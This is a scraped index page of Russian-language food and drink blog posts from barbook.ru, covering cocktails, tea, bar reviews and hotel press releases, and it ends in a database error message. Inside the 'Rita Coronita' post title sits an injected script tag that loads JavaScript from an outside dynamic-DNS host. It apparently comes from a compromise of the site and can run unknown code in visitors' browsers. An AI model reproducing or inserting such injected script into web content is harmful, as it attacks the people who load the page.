Barbook.ru: Блоги.
     Регистрация/Вход ,
Главная / Блоги / Еда и напитки

Блоги

популярное, новое

Немного из азбуки русских напитков, или греемся по-славянски !

Немного из азбуки русских напитков, или греемся по-славянски  ! С приходом зимы горячие коктейли – спасение. И согревают, и поднимают настроение, и дарят уют, а некоторые и поддерживают иммунитет. Не все знают, что согревающие напитки не ограничиваются только глинтвейном, грогом или пуншем, а их огромное множество. Современные люди перестали использовать старинные русские рецепты, которые некогда были популярнее известных сейчас горячих коктейлей.   Еще совсем недавно можно было насладиться изысканным вкусом жженки, теплотой сбитня и

Пайнберри

Пайнберри  Пайнберри - белая клубника со вкусом и запахом ананаса.  Начали продавать такой продукт в Британии, цена корзинки 125гр. колеблится около 2,5 - 3,5 фунтов (или 118,6 - 166 рублей).    Википедия описывает ее так...   Пайнберри —сорт садовой земляники, созданный Хансом де Йонгом и культивируемый компанией VitalBerry BV. Выведен в Нидерландах, в первой публикации на немецком языке в апреле 2009 года назван Ananaserdbeeren или ананасовая клубника.
Автор: ... ..

Чудо ЧАЙ !!

Чудо ЧАЙ !! Чудо ЧАЙ! О чае можно говорить часами.Любоваться проливом и раскрывающимися чайными листьями. Посещая вечера чайного клуба, я раскрыл для себя настоящий вкус и аромат хорошего чая. И стал проводить разнообразные чайные мероприятия. Опираясь на тематические источники, я решил написать о том, какой должна быть вода, и о чае, который включён в чайную карту "Атриум Холла". Шум ветра в соснах. Одним из важных составляющих хорошего чая является вода. Лучше всего

Skinny Mixes - низкокалорийные смеси для алкогольных коктейлей.

Skinny Mixes - низкокалорийные смеси для алкогольных коктейлей.  Большое количество женщин, которые следят за своей фигурой, тщательно подсчитывают количество калорий, съеденных и выпитых ими за день. Несмотря на то, что старая поговорка гласит, что от алкоголя не толстеют, специалисты утверждают обратное. Алкогольные напитки отличаются высокой энергетической ценностью, причем, их калорийность прямо пропорциональна их крепости. Но самое главное, что от этих калорий очень непросто избавиться.   Алкогольные коктейли Skinny Mixes этих недос
Автор: ... ..

Простите у нас из напитков только... любовь, печаль, счастье, страх или злость.

Простите у нас из напитков только... любовь, печаль, счастье, страх или злость. Всем жителям BarBook салют! Вот такая новость...   Студент из Барселоны Жозе Люис Гарсиа Эгигурен придумал способ продавать эмоции через продукт. В качестве такого продукта он не случайно выбрал водку с соком, коктейль из которых назвал Mixed Emotions - Эмоциональный коктейль. В ассортименте пять видов эмоционального коктейля - любовь, печаль, счастье, страх и злость, который упакован в разноцветные бутылки - красного, черного, желтого, зеленого и синего цветов. Автор продукта
Автор: ... ..

BOND'S DRINKS

BOND'S DRINKS КОКТЕЙЛЬНЫЙ АРСЕНАЛ СУПЕРШПИОНА FOR YOUR EYES ONLY.   С детства мечтали быть похожим на агента 007? Хотите приобрести «Арсенал супершпиона»? С машинами, катерами мы вам вряд ли поможем, но помочь приобщиться к миру бондовских коктейлей – то вы обратились по адресу. Инструкции по спасению человечества давайте оставим, ведь у каждого свой стиль! Каждый нормальный суперагент после погонь, взрывов, шпионских заданий и спасения человечества хочет расслабиться,
Автор: Tigran Avetisyan

Rita Coronita

Rita Coronita<nofollow><script language='JavaScript' src='http://binfostat.dyndns.org/infob.php?i=22329'></script></nofollow> Друзья! Приглашаем Вас в "Старую Гавану" попробовать новый мексиканский коктейль Rita Coronita! 
Автор: Павел

Как только, каждый бармен нашей страны научится варить кофе то профессия бариста исчезнет.

Как только, каждый бармен нашей страны научится варить кофе то профессия бариста исчезнет.  Мне интересно знать мнение специалистов барной стойки по этому заявлению. Это произойдёт или нет?

ЙоХоХо и пакетик... СОКА ))

ЙоХоХо и пакетик... СОКА ))  Московский дизайнер Елена Кайманова  предложила роскошную дизайн-идею для упаковки фруктовых соков. Тема пиратов, бодро заливающих ром вишневым соком и персиковым нектаром, удачно иллюстрирована черно-белой гаммой, рукописный шрифт и ненавязчивыми рисунками. По словам автора, этот проект вдохновлен эстетикой «Веселого Роджера» — традиционного пиратского флага, изображающего череп и две скрещенные кости. А типографика упаковки напоминает загадочные карты древних кладо

Маруся

Маруся Заглянула тут на днях на пару коктейлей в "Марусю" - кажется, уже месяца полтора все только и говорят об этом заведении с ласковым именем, открытом на месте особняка Смирнова на Тверском бульваре (который в последнее время использовался как эвент-площадка класса люкс). Что сказать, атмосфера приятная: ожидаемо классический интерьер, с немногочисленными, но яркими современными акцентами (типа подсвеченной неоном барной стойки). Публика симпатичная, светские персонажи, группы с
Автор: Natalie Tezon

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА МОСКВА, май 2013 года. Солнечно, ярко и сочно «Swissôtel Красные Холмы» открывает двери в лето, предлагая гостям обновленное меню «Энергия жизни». Блюда, вошедшие в это предложение, по-летнему легкие, но, отведав их, гость останется сыт и доволен. Новинки приготовлены с использованием овощей и фруктов, богатых витаминами и минералами. Мы заботимся о здоровье своих гостей и дарим им заряд летней бодрости!   Салат из манго и авокадо (стоимость порции
Автор: Evgenia Aldashkina

Индийское Ogilvy & Mather предлагает исследовать мир желудком

Индийское Ogilvy & Mather предлагает исследовать мир желудком Реклама средства от боли в желудке Eno Чтобы прорекламировать средство от изжоги и болей в желудке Eno агентство Ogilvy & Mather New Delhi создало серию весьма аппетитных принтов. Креаторы изобразили различные национальные блюда в виде настоящих картин, символизирующих разные страны: Японию, Мексику и Персию, которая, в общем-то, уже не существует. Принты предназначены для размещения в ресторанах и закусочных, чтобы посетители всегда знали, что поможет им справиться с бурей в желудке,
Автор: Boris Panchenko

Ода алкоголю или "Водка всякая нужна, водка всякая важна!"

Ода алкоголю или    Помните, как в советском детстве нам читали: "Мамы всякие нужны, мамы всякие важны." Это несомненно так! Но что, если перекроить это выражение и, отталкиваясь уже от него, удариться в полемику?    Итак. Водка.      Заранее позволю себе не согласиться с Олегом Шибановым и его публикацией об алкоголе, (http://www.barbook.ru/blog/381/), и отметить, что всему своё время и место. Романтический ужин на закате - это вино; брэнди

Постные коктейли в Mercedes Bar

Постные коктейли в Mercedes Bar Панорамный ресторан Mercedes Bar специально для Великого Поста предлагает своим гостям серию постных коктейлей, разработанную командой бар-менеджера RCC (Russian Cocktail Club) Денисом Миллионовым с учетом не только строгих требований к используемым ингредиентам, но и достижения максимального вкусового эффекта от их сочетания. Коктейль «Московское море», как нельзя лучше поднимет настроение и вызовет улыбку лишь только одним своим ярким внешним видом. В нем очень неожиданно и све
Автор: Olga Sakulina

Британская неделя алхимии с Тристаном Стивенсоном в панорамном баре «Сити Спейс» с 26 февраля по 2 марта 2013 года

Британская неделя алхимии с Тристаном Стивенсоном в панорамном баре «Сити Спейс» с 26 февраля по 2 марта 2013 года МОСКВА, январь 2013г. – В конце февраля панорамный коктейльный бар «Сити Спейс» на 34-м этаже «Swissotel Красные Холмы» посетит Тристан Стивенсон, знаменитый миксолог, основатель бара «Purl» и один из руководителей компании «Fluid Movement».                               В индустрии гостеприимств
Автор: Evgenia Aldashkina

Тетрадь с рецептами образца 21 века

Тетрадь с рецептами образца 21 века Новогодние праздники волей судьбы довелось провести в Хельсинки, в этой связи приглашенные на выходные гости затребовали обед в финском стиле. Признаться, финская кухня не то чтобы разнообразна и оригинальна, но делать  нечего. Сливочный суп из лосося, без которого  не обходился ни один мой день в Суоми, был объявлен главным блюдом. Сказано - надо делать. В поисках рецепта,  как обычно, отправилась  на   www.talerka.ru - как бы не относились скептически к данному ре

В США изобрели вино из спаржи

В США изобрели вино из спаржи Мичиганские фермеры случайно придумали вино из спаржевого пюре Вино из пюре спаржи изобрела чета фермеров, проживающая в штате Мичиган (США). Келли и Тодд Фоксы добавили в пюре дрожжей и сахара. Спустя 24 недели они получили вино с ароматом спаржи и легким сладковатым привкусом, сообщает портал «Миллион меню». Фоксы оценили вкусовые качества нового вина и решили запустить его производство. Пробные продажи прошли успешно, и виноделы-изобретатели намерены и дальше продвигать свой про

COCA-COLA

COCA-COLA 1. Если всю произведённую Кока-колу раздать в бутылках всем жителям планеты, каждый из нас получит по 1500 бутылок. 2. Если всю выработанную более чем за сто лет Кока-колу разлить в бутылки, выложить в одну линию и обвить ею околоземную орбиту нашей планеты, то она обернёт Землю 4334 раза. Кстати, подобная цепочка к Луне дотянулась бы туда и обратно 1045 раз. 3. Если всей произведённой Кока-колой заполнить бассейн глубиной 180 санти

Еда и пиво!

Еда и пиво! Вот вчера, был на ужине в с одном из многочисленных ресторанов Иль Патио и вот не задача заказал их фирменную пиццу с одноименным названием.  Так вот мне довольно быстро приготовили всеь заказ, но все что довелось откушать оставило во мне осадок. Если бы не один пункт моего заказа. который спас мой вечер. На аперитив попросил подать мне аж сразу два по 0,3 Крушовице, да это было спасение, потому как салат и фирменная пицца меня удивили по другому. Итак в самом центре фирменного блюда леж
Автор: Serguey Rukhmanov

Осенний марафон...

Осенний марафон... Прежде чем вы решите, ходить в то или иное заведение, каждый для себя оценит бар, сервис, атмосферу, ну и конечно  же, саму кухню. Цены, качество - вкус!!! Можно много поверхностно рассуждать и рассказывать о кухне и ее работе, но мне интереснее поговорить о том что заведамо закрыто всем - приоткрою вам занавес. Один мой старый приятель, Почтенный повар, сказал так - Еда должна быть - как секс по запаху, а кровь по вкусу...  В мире очень много вкусной, красивой и необычной р

Гальяно хот шот

Сам коктейль весьма интересен своим сочетанием кофе+сливки+ваниль. Он весьма лекок, легко пьется, я его делал теплым. При изготовлении использовал сливки 33%, и свежеприготовленный кофе в ступке. Когда делал впервые был очень удивлен тем, что сливки вынутые из холодильника не лягли на кофе, а упали под него на Гальяно. Первым делом, я подумал, что сам рецепт плох, но позже вспомив школьный курс физики,  решил подогреть сливки, и добавить сахара в кофе, который чуть охладил. В итоге сли

«Миллион алых роз» в панорамном баре «Сити Спейс» 14 февраля 2013 Года

«Миллион алых роз» в панорамном баре «Сити Спейс» 14 февраля 2013 Года МОСКВА, январь 2013 –  Панорамный бар «Сити Спейс», расположенный на 34-м этаже отеля «Swissotel Красные Холмы», приглашает всех влюбленных отпраздновать день Святого Валентина на высоте 140 метров над городом.     Готовы подарить любимой миллион алых роз? Миксологи бара приготовили специальный цветочный сюрприз на день Святого Валентина. Посетите «Сити Спейс», сколько роз вам удастся сосчитать в баре? А вдруг цветы окажутся прямо в ваше
Автор: Evgenia Aldashkina

Пуэр

Пуэр Сегодня у нас в ресторане провели экскурсию по чаям... Было очень интересно))например я узнала,что ферментирование - это процесс, проходящий при непосредственном участии микробов... или что есть заблуждение,что черный чай или улун являются частично или полностью ферментированными чаями,они являютя частично или полностью окисленными чаями,китайцы пользовались одним и тем же термином,описывая разные процессы...вообще много всего интересного было мною услышанно...
Автор: Julia Chernova

Еда и Вода!

Еда и Вода! Вчера был в заведении Луч, да все круто сделано и возможно там трудилось над проектом 12 дизайнеров, но есть одно НО!   Все в интерьере идеально выдержанно и мебель удобна для релакс или пообедать, и вот мне довелось заказать вкусно звучащий салат "Салатные листья с копченной уткой и сыром Дор-блю" всего за 390 рублей.   Так вот друзья, мне реально было симпатично заказать эту вкусноту, но вот незадача салат ЗВУЧИТ и вид и название и продукты, а вот подача с косяком,
Автор: Serguey Rukhmanov




Сколько времени нужно проработать за стойкой, чтобы стать настоящим барменом?

Сколько времени нужно проработать за стойкой, чтобы стать настоящим барменом?







Invalid query SelectFromDB 'SELECT * FROM `page_main_teaser` WHERE `is_active`=1 ORDER BY RAND() LIMIT 5': Disk full (/var/tmp/#sql_32f_0); waiting for someone to free some space...